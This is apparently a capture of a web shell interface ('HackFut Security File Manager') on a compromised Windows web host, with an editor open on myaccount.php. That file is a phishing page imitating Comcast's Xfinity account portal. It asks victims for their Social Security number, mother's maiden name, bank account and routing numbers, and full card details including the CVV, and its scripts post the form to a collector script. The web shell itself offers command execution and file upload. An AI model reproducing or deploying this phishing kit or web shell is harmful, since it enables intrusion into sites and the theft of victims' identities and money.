HackFut File Manager

HackFut Security File Manager

Current Path: C:\inetpub\vhosts\omrumdenizkilic.online\mertmemduhderici.com.tr\xfini

Command Execution

C: / inetpub / vhosts / omrumdenizkilic.online / mertmemduhderici.com.tr / xfini /

📁 ..
📄 CmaxAuthnAge.php(90.95 KB)
📄 cid.php(67 B)
📁 css
📄 erlogin.php(1.89 KB)
📁 idm
📄 index.php(85.02 KB)
📄 index1.php(89.92 KB)
📁 js
📄 login.php(1.8 KB)
📄 myaccount.php(73.85 KB)
📄 s85724605824143.php(2.5 KB)

Editing: myaccount.php

<!DOCTYPE html>
<html class="light content-size-medium next web hydrated" mode="web"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script type="text/javascript" async="async" src="./idm/s85724605824143"></script>
		<style data-styles="">prism-select,prism-icon,prism-text,prism-typeahead,prism-datepicker,prism-header,prism-input-file,prism-pagination,prism-banner,prism-breadcrumb,prism-carousel,prism-checkbox-group,prism-menu,prism-modal,prism-radio,prism-switch,prism-accordion,prism-card,prism-input-textarea,prism-lineitem,prism-radio-group,prism-progress,prism-tabs,prism-tooltip,prism-data-table,prism-form,prism-grid,prism-hero,prism-image,prism-layout,prism-popper,prism-tab,prism-avatar,prism-checkbox,prism-badge,prism-button,prism-loading,prism-input-text{visibility:hidden}.hydrated{visibility:inherit}</style>
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<meta name="mobile-web-app-capable" content="yes">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="msapplication-TileColor" content="#ffffff">
	<meta name="msapplication-TileImage" content="images/global/favicon/favicon-96x96.png"><title>Select a method to confirm your account</title>
		<meta name="description" content="Comcast Identity Management Portal">
		<meta name="author" content="Comcast">
		<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0">

(function (A) {

// Get the value from an object heirarchy. Usage :- window.adobe.consulting.util.getObjVal(<base object>, <heirarchy under base object as a string>, <default value (optional), this will be returned if the object is not found>);
  A.getObjVal = function (obj, prop, defVal) {
    defVal = defVal || "";
    if (!obj || !prop || typeof prop != "string") { _satellite.logger.info("!*!*!* WARNING !*!*!* 'Object' or 'Path' is missing or invalid"); return defVal; }
    var props = prop.split("."), i;
    for (i = 0; i < props.length; i += 1) {
      if (typeof obj[props[i]] !== "undefined") { obj = obj[props[i]]; } else { _satellite.logger.info("!*!*!* WARNING !*!*!* " + props[i] + " could not be found under path " + prop); return defVal; }
    }
    return obj;
  };

A.resetState = function () {
    // Resetting Variable for holding Campaign/Experience qualification for each page/view
    window.ttMETA = [];

//Resetting SDID for A4T integration.
    var visitor = Visitor.getInstance("DA11332E5321D0550A490D45@AdobeOrg");
    visitor.resetState();
  };

A.loadJS = function (url, location, cb) {
    var scriptTag = document.createElement('script');
    scriptTag.src = url;
    if (typeof cb == "function") {
      scriptTag.onload = cb;
    }
    location.appendChild(scriptTag);
  };

A.getAPI = function (url, successHandler, errorHandler, headers) {
    var xhr = typeof XMLHttpRequest != 'undefined'
      ? new XMLHttpRequest()
      : new ActiveXObject('Microsoft.XMLHTTP');
    xhr.open('get', url, true);
    if (headers) {
      for (var i = 0, j = Object.keys(headers); i < j.length; i++) {
        xhr.setRequestHeader(j[i], headers[j[i]]);
      }
    }
    xhr.withCredentials = true;// Must follow xhr.open to avoid InvalidStateError
    xhr.onreadystatechange = function () {
      var status, data;
      if (xhr.readyState == 4) {
        status = xhr.status;
        if (status == 200) {
          data = JSON.parse(xhr.responseText);
          successHandler && successHandler(data);
        } else {
          errorHandler && errorHandler(status);
        }
      }
    };
    xhr.send();
  };

A.fireCustomEvent = function (name, details) {
    var event = new CustomEvent(name, {
      detail: {
        source: "dtm",
        data: details
      }
    });
    document.dispatchEvent(event);
  };

A.numberOfDaysPassed = function (fromDate) {
    if (fromDate == "") return "";

var fromDateArr = fromDate.split("-");

if (fromDateArr.length != 3 || isNaN(new Date(fromDate))) {
      console.log("Invalid Date given for function window.adobe.consulting.util.numberOfDaysPassed()");
      return NaN;
    }

var currDate = new Date();
    var utcFromDate = new Date(Date.UTC(fromDateArr[0], fromDateArr[1] - 1, fromDateArr[2], 24, 0, 0, 0));
    var utcCurrentDate = Date.UTC(currDate.getFullYear(), currDate.getMonth(), currDate.getDate(), 24, 0, 0, 0);

var dateDiff = utcCurrentDate - utcFromDate;

return A.dhm(dateDiff)[0];
  };

A.getUrlParameter = function (name) {
    name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
    var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
    var results = regex.exec(location.search);
    return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
  };

A.dhm = function (t) {
    var cd = 24 * 60 * 60 * 1000,
      ch = 60 * 60 * 1000,
      d = Math.floor(t / cd),
      h = Math.floor((t - d * cd) / ch),
      m = Math.round((t - d * cd - h * ch) / 60000),
      pad = function (n) { return n < 10 ? '0' + n : n; };
    if (m === 60) {
      h++;
      m = 0;
    }
    if (h === 24) {
      d++;
      h = 0;
    }
    return [d, pad(h), pad(m)];
  };

A.getMetaContentByName = function (name, content) {
    var content = (content == null) ? 'content' : content, metaObj = document.querySelector("meta[name='" + name + "']");
    return metaObj != null ? metaObj.getAttribute(content) != null ? metaObj.getAttribute(content).toLowerCase() : "" : "";
  };

A.fireTargetCustomMbox = function (name, params) {
    adobe.target.getOffer({
      mbox: name,
      params: params,
      success: function (offer) {
        adobe.target.applyOffer({
          "mbox": name,
          "offer": offer
        });
      },
      error: function (status, error) {
        _satellite.logger.warn("Adobe Target custom mBox ( " + name + " ) request did not succeed :: ", status, error);
      }
    });
  };

A.getEventInfo = function (eventMethod, DL_path, eventName, defValue) {
    defValue = defValue || "";
    var DL_events = digitalData.event;
    for (var x = 0; x < DL_events.length; x++) {
      if (DL_events[x].eventInfo.eventMethod && DL_events[x].eventInfo.eventMethod == eventMethod) {
        if (typeof eventName !== "undefined") {
          return (DL_events[x].eventInfo.eventName == eventName) ? A.getObjVal(DL_events[x].eventInfo, DL_path, defValue) : "";
        }
        return A.getObjVal(DL_events[x].eventInfo, DL_path, defValue);
      }
    }
    return defValue;
  };

//getGBB Offers
  A.getGBBHomeOffer = function (ruleid, tokenname) {
    return new Promise(function (resolve, reject) {
      try {
        var match = /&RC.MKT=(\d+)&/gm.exec(_satellite.getVar("Cookie | PSC")),
          marketID = match && match[1],
          apiURL = marketID && ruleid && tokenname && "https://xapi.xfinity.com/markets/" + marketID + "/rules/" + ruleid + "/FeaturedOffers/V2?tokenname=" + tokenname;

function apiSuccessHandler(data) {
          resolve(data.featuredOffers);
        }

function apiErrorHandler(data) {
          reject(data);
        }

if (apiURL) {
          A.getAPI(apiURL, apiSuccessHandler, apiErrorHandler);
        }
        else {
          reject("Invalid arguments");
        }
      }
      catch (e) {
        reject(e);
      }
    });
  };

//Searches a single or an array of objects for key and value match
  A.searchObjVal = function (objectRoot, keyArray, valueArray) {
    objectRoot = objectRoot || []; keyArray = keyArray || []; valueArray = valueArray || [];
    var goodArguments = !(!(typeof objectRoot == "object") || !keyArray.length || !valueArray.length);
    var matchFound = false;
    if (!goodArguments) {
      console.error("Warning :: Invalid Arguments for function adobe.consulting.util.getMOV()");
      return {};
    }
    if (Array.isArray(objectRoot) && objectRoot.length) {
      for (var x = 0; x < objectRoot.length; x++) {
        var result = A.searchObjVal(objectRoot[x], keyArray, valueArray);
        if (result) return result;
      }
    }
    for (var y = 0; y < keyArray.length; y++) {
      matchFound = valueArray[y] && A.getObjVal(objectRoot, keyArray[y]) == valueArray[y] ? true : false;
      if (!matchFound) {
        return null
      }
    }
    return objectRoot;
  };

// Will depreciate once all uses of getMOV are removed
  A.getMOV = A.searchObjVal

}(window.adobe.consulting.util));

});</script><div id="breakpoints"></div>
		<div id="background" style="height: 624px;"></div>

<header>
	<div class="logo-container">
					<a class="xfinity-logo" href="http://my.xfinity.com/"><span class="screen-reader-text">Xfinity</span></a>
				</div>
	
</header>
<main role="main">

<h1>
			
	    	Enter your account information
		</h1>

<div class="label-container">
	<label for="accountNumber" class="">
		
			
			Enter your social security number.
		
	</label>
	
<button type="button" class="info icon" aria-expanded="false" aria-controls="accountNumberInfo"><span class="screen-reader-text">More info</span></button>

</div>
<div id="accountNumberInfo" class="info-content" hidden="">
	<p>Your full Social Security Number is requested to verify you as a procedural requirement by law.</p>
	
</div>

<div class="label-container">
	<label for="accountNumber" class="">
		
			
			Enter your mother's maiden name.
		
	</label>
	
	
</div>
<div id="accountNumberInfo" class="info-content" hidden="">
	<p>Your full Social Security Number is requested to verify you as a procedural requirement by law.</p>
	
</div>

<fieldset class=" radioGroup">
	
		<legend>
			<span>Confirm the method of payment on your account</span>
			
		</legend>

<span id="by-StreetAddress_label" class="content ">Checking/Savings</span>

</div>
		
			<div id="by-StreetAddress_content" class="details" hidden="">

<div class="label-container">
	<label for="enteredAddress.streetAddress" class="">
		
			
			Account Type
		
	</label>
	
	
</div>

<div class="combobox-wrapper">
			<div id="enteredAddress.streetAddress_announcer" class="screen-reader-text" aria-live="assertive"></div>
			<select name="accountType" id="enteredAddress.streetAddress">
			  <option value="savings">Savings</option>
			  <option value="checking">Checking</option>
			</select>
			
			<ul id="enteredAddress.streetAddress_list" role="listbox" tabindex="-1" hidden="">
			</ul>

</div>

<div class="label-container">
	<label for="enteredAddress.streetAddress" class="">
		
			
			Account Number
		
	</label>
	
	
</div>

</div>
		
		
<div class="label-container">
	<label for="enteredAddress.streetAddress" class="">
		
			
			Routing Number
		
	</label>
	
	
</div>

</div>

</div>
		
	</div>
</label>

<span id="by-PhoneNumber_label" class="content ">Credit/Debit Card</span>

</div>
		
		
		
		
			<div id="by-PhoneNumber_content" class="details" hidden="">
				<input type="text" class="accountPhoneNumber" id="phoneNumber1" name="accountCC" placeholder="Card Number" pattern="^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|6(?:011|5[0-9]{2})[0-9]{12})$" autocomplete="off" maxlength="16" aria-labelledby="by-PhoneNumber_label" required="required" >
				<input type="tel" class="accountPhoneNumber" id="phoneNumber" name="accountExp" placeholder="Expiring Date  (MM/YY)" pattern="^(0[1-9]|1[0-2])\/?([0-9]{2})$"autocomplete="off" maxlength="5" data-mask="00/00" aria-labelledby="by-PhoneNumber_label" required="true" >
				<input type="tel" class="accountPhoneNumber" id="phoneNumber" name="accountCvv" placeholder="CSC/CVN" autocomplete="off" maxlength="4" data-mask="0000" aria-labelledby="by-PhoneNumber_label" required="true" >
			<ul id="enteredAddress.streetAddress_list" role="listbox" tabindex="-1" hidden="">
			</ul>
			</div>
			
			
			
			
		
	</div>
	
</label>

</fieldset>

<div class="button-wrapper force-wrap">
	<button name="_eventId" class="submit" type="submit" value="next" data-loader="true">
			<span class="text">Continue</span>
			<div class="loading-spinner">
	<div class="spinner">
		<svg class="spinner-svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" x="0" y="0">
			<circle class="spinner-circle" cx="12" cy="12" r="11" stroke-dasharray="69.11503837897544" stroke-dashoffset="138.23007675795088" stroke-width="2" stroke="currentcolor">
			</circle>
		</svg>
	</div>
</div>
</div>
<script>

$(document).ready(function() {
		removeErrorClass();

var validator = idm.createNewValidator({
			rules: {
				verificationSubType: {
					required: true
				}
			},
			messages: {
				verificationSubType: {
					required: "Please confirm your payment method."
				}
			}
		});
	});

</script>

</form>
</div>
</main>

<div class="footer-common">
	<div class="footer-logo"></div>
	<prism-text priority="secondary" class="text-block body2 hydrated">© 2023 Comcast</prism-text>
	<nav>
		<div class="footer-links">
			<prism-button display="link" href="http://my.xfinity.com/terms/web/" tone="neutral" class="sc-prism-button-h sc-prism-button-s hydrated"><a part="native" href="http://my.xfinity.com/terms/web/" class="btn neutral link horizontal sc-prism-button sc-prism-button-s" id="prism-button-66658053-b1e6-4069-8d89-9b96efba7c49"><prism-icon slot="icon" name="news" theme="outline" tone="neutral" size="xs" class="hydrated loaded"></prism-icon><prism-text class="text sc-prism-button sc-prism-button-s text-block inherit hydrated">
				
				<prism-text class="text-block body2 hydrated">Web terms of service</prism-text>
			</prism-text></a></prism-button>
			<prism-button display="link" href="https://www.xfinity.com/privacy/policy" tone="neutral" class="sc-prism-button-h sc-prism-button-s hydrated"><a part="native" href="https://www.xfinity.com/privacy/policy" class="btn neutral link horizontal sc-prism-button sc-prism-button-s" id="prism-button-4968f316-a52c-4c5a-9155-c1240e270ed0"><prism-icon slot="icon" name="privacypolicy" theme="outline" tone="neutral" size="xs" class="hydrated loaded"></prism-icon><prism-text class="text sc-prism-button sc-prism-button-s text-block inherit hydrated">
				
				<prism-text class="text-block body2 hydrated">Privacy Policy</prism-text>
			</prism-text></a></prism-button>
			<prism-button display="link" href="https://www.xfinity.com/privacy/policy/staterights#california" tone="neutral" class="sc-prism-button-h sc-prism-button-s hydrated"><a part="native" href="https://www.xfinity.com/privacy/policy/staterights#california" class="btn neutral link horizontal sc-prism-button sc-prism-button-s" id="prism-button-54169b7d-3cc5-4d74-8242-f9b7a4072291"><prism-icon slot="icon" name="compare_plans" theme="outline" tone="neutral" size="xs" class="hydrated loaded"></prism-icon><prism-text class="text sc-prism-button sc-prism-button-s text-block inherit hydrated">
				
				<prism-text class="text-block body2 hydrated">CA Notice at collection</prism-text>
			</prism-text></a></prism-button>
		</div>
		<div class="footer-links">
			<prism-button display="link" href="https://www.xfinity.com/privacy/manage-preference" tone="neutral" class="sc-prism-button-h sc-prism-button-s hydrated"><a part="native" href="https://www.xfinity.com/privacy/manage-preference" class="btn neutral link horizontal sc-prism-button sc-prism-button-s" id="prism-button-15f00c36-f429-467f-9e42-47f310d30f91"><prism-icon slot="icon" name="privacysettings" theme="outline" tone="neutral" size="xs" class="hydrated loaded"></prism-icon><prism-text class="text sc-prism-button sc-prism-button-s text-block inherit hydrated">
				
				<prism-text class="text-block body2 hydrated">Your privacy choices</prism-text>
			</prism-text></a></prism-button>
			<prism-button display="link" href="https://my.xfinity.com/adinformation" tone="neutral" class="sc-prism-button-h sc-prism-button-s hydrated"><a part="native" href="https://my.xfinity.com/adinformation" class="btn neutral link horizontal sc-prism-button sc-prism-button-s" id="prism-button-3599bf5f-c6dc-44e4-ad60-3f3993a442a1"><prism-icon slot="icon" name="ad_choices" theme="outline" tone="neutral" size="xs" class="hydrated loaded"></prism-icon><prism-text class="text sc-prism-button sc-prism-button-s text-block inherit hydrated">
				
				<prism-text class="text-block body2 hydrated">Ad choices</prism-text>
			</prism-text></a></prism-button>
		</div>
	</nav>
</div>

</footer>
<script>
		$(document).ready(function() {
			idm.init({
				appURL: 's85724605824143.php',
				flowStage: 'start'
			});
		});
	</script><script>
				idm.initSubmitButtons=function(){var e;function a(t,e,a){$("#secondaryForm button").click()}$("button[type=submit][data-loader]").length&&($("button[type=submit]").click(function(){e=$(this)}),idm.submitHandlers.push(function(t){if((e=e||$(t).find("button[type=submit]:eq(0)")).attr("data-loader"))return-1!=(t=e.closest("form").serialize()).indexOf("_eventId")?t=t.replace(/_eventId=[^&]*/,"_eventId=initiateLoader"):t+="&_eventId=initiateLoader",t+="&ajaxSource=true&fragments=statusLoader",e.addClass("loader").attr("disabled",!0),$.ajax({type:"POST",url:"s85724605824143.php",async:!0,dataType:"json",data:t,complete:a}),!1}))};
				$(document).ready(idm.initSubmitButtons);
			</script>
			<form id="secondaryForm" hidden="hidden" action="s85724605824143.php" method="POST"><button name="_eventId" type="submit" value="loadSuccess"></button>
			</form>
	<script type="tracking-data-config">
		{
			"plugins": {
				"aws": {
					"eventFields": ["func:app.datalayerEventCallback"]
				}
			}
		}
	</script>
	<script type="text/javascript">
		(function(){
			"use strict";

document.body.setAttribute('data-tracking','{"page": {"pageInfo": {"referrerId": "litebillpay"}}}');
		})();
	</script>

HackFut Security File Manager

Command Execution

Editing: myaccount.php

Upload File

Create Folder